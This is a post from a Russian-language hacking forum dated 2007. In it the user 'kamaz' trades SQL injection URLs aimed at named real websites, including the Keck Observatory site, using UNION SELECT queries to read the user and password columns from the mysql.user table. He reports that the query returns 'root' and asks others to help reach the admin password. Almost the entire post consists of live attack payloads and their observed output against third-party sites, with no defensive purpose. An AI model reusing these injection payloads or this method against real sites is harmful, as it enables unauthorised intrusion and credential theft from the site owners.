Показать сообщение отдельно

  #1  
Старый 05.03.2007, 00:07
kamaz
Познающий
Регистрация: 31.01.2007
Сообщений: 88
С нами: 10145068

Репутация: 453
По умолчанию

Цитата:
http://www.clan-peppers.ru/page.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 ,16,17,18,19,20,21,22,23,24,25,26,27,28,29/*

Надеюсь у кого нибудь получиться доломать до пасса админа =)
Я не знаю, как можно достучаться до пасса админа, не имея скуля. Сайт выдает ошибку при любом значении id..

Цитата:
http://www.keckobservatory.org/article.php?id=-99+union+select+concat(user,0x3a,password),2,3,4,5 ,6,7,8+from+mysql.user+limit+45/*

Мдя, ничего не понимаю. При запросе
Код:
http://www.keckobservatory.org/article.php?id=-99+union+select+111,2,3,4,5,6,7,8+from+mysql.user
Сайт выдает принтабельной колонку 1. (html код =>
printer_friendly_without.php?id=111)

При запросе
Код:
http://www.keckobservatory.org/article.php?id=-99+union+select+concat(user,0x3a,password),2,3,4,5,6,7,8+from+mysql.user
Проявляется printer_friendly_without.php?id=root

Но при запросах
Код:
http://www.keckobservatory.org/article.php?id=-99+union+select+user,2,3,4,5,6,7,8+from+mysql.user
и
Код:
http://www.keckobservatory.org/article.php?id=-99+union+select+password,2,3,4,5,6,7,8+from+mysql.user
printer_friendly_without.php?id= остается пустым

Последний раз редактировалось kamaz; 05.03.2007 в 00:21..
 
Ответить с цитированием